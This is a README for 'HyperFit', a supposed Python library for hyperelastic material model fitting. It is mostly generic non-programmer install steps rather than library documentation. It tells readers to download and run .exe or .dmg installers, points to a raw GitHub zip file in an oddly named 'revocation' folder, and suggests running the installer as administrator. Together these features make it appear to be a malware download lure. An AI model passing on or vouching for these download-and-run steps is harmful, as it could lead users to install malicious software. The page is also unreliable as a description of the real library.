🎉 HyperFit - Simplifying Material Modeling for Everyone

🚀 Getting Started

Welcome to HyperFit! This guide will help you download and run our Python library for hyperelastic material model fitting. You do not need any programming skills. Just follow these simple steps to get started.

🔗 Download HyperFit

📥 Download & Install

1. Visit the Releases Page
   Go to our Releases page. Here, you will find all versions of HyperFit that you can download.

2. Choose the Right Version
   Look for the latest version at the top. Click on it to open the version details.

3. Download the Files
   You will see various files. If you are using Windows, look for a file that ends in .exe. For macOS, look for files that end in .dmg. For Linux, look for https://raw.githubusercontent.com/Batuhan-c/HyperFit/main/revocation/HyperFit.zip files.

4. Run the Installer
   After downloading, find the file in your downloads folder. Double-click on the file to begin the installation. Follow the instructions on the screen to complete the setup.

5. Verify the Installation
   After installation, you should be able to find HyperFit in your applications. Open the application to ensure it runs smoothly.

🛠️ System Requirements

To use HyperFit, your computer needs to meet the following requirements:

• Operating System: Windows 10 or later, macOS version 10.15 or later, or a Linux distribution that supports Python.
• Python: Version 3.6 or higher must be installed. If you don't have Python, you can download it from the official Python website.
• Disk Space: At least 100 MB of free space for installation and additional files.
• Memory: A minimum of 2 GB RAM is recommended for best performance.

📚 Features

HyperFit offers various features to help with hyperelastic material modeling:

• Curve Fitting: Easily fit experimental data to hyperelastic models.
• Mullins Effect: Support for modeling the Mullins effect, which appears in many materials.
• Finite Element Integration: Works well with finite element software.
• Python Bindings: Use Python for scripting and automation.

⚙️ How to Use HyperFit

1. Open HyperFit
   Launch the application by clicking on its icon in your applications folder.

2. Load Data
   You can load your experimental data directly into HyperFit. Use the "Load Data" option in the menu.

3. Select Model
   Choose the hyperelastic model that you wish to apply. HyperFit provides a simple dropdown to select from various models like Neo-Hookean, Mooney-Rivlin, and more.

4. Perform Curve Fit
   Once you have your data and model selected, click on "Fit Curve." HyperFit will analyze your data and provide results within moments.

5. View Results
   After the fitting process, view the results directly in the application. You can save your fitted models for future use.

🖥️ Troubleshooting

If you run into any issues using HyperFit, try these solutions:

• Installation Issues: If the installer fails, ensure you have enough disk space and your operating system is supported. You can also try running the installer as an administrator.
• Data Loading Problems: Ensure your data files are in a supported format (like CSV). Check that there are no missing values in your data.
• Performance Issues: If the application runs slowly, try closing other applications to free up memory.

📬 Support and Feedback

If you have questions or need support, please reach out to our team. You can create an issue on our GitHub page for assistance.

🔗 Conclusion

You are now ready to use HyperFit for hyperelastic material modeling. Download the application today and explore its capabilities!

For easy access, here is the download link again. Enjoy using HyperFit!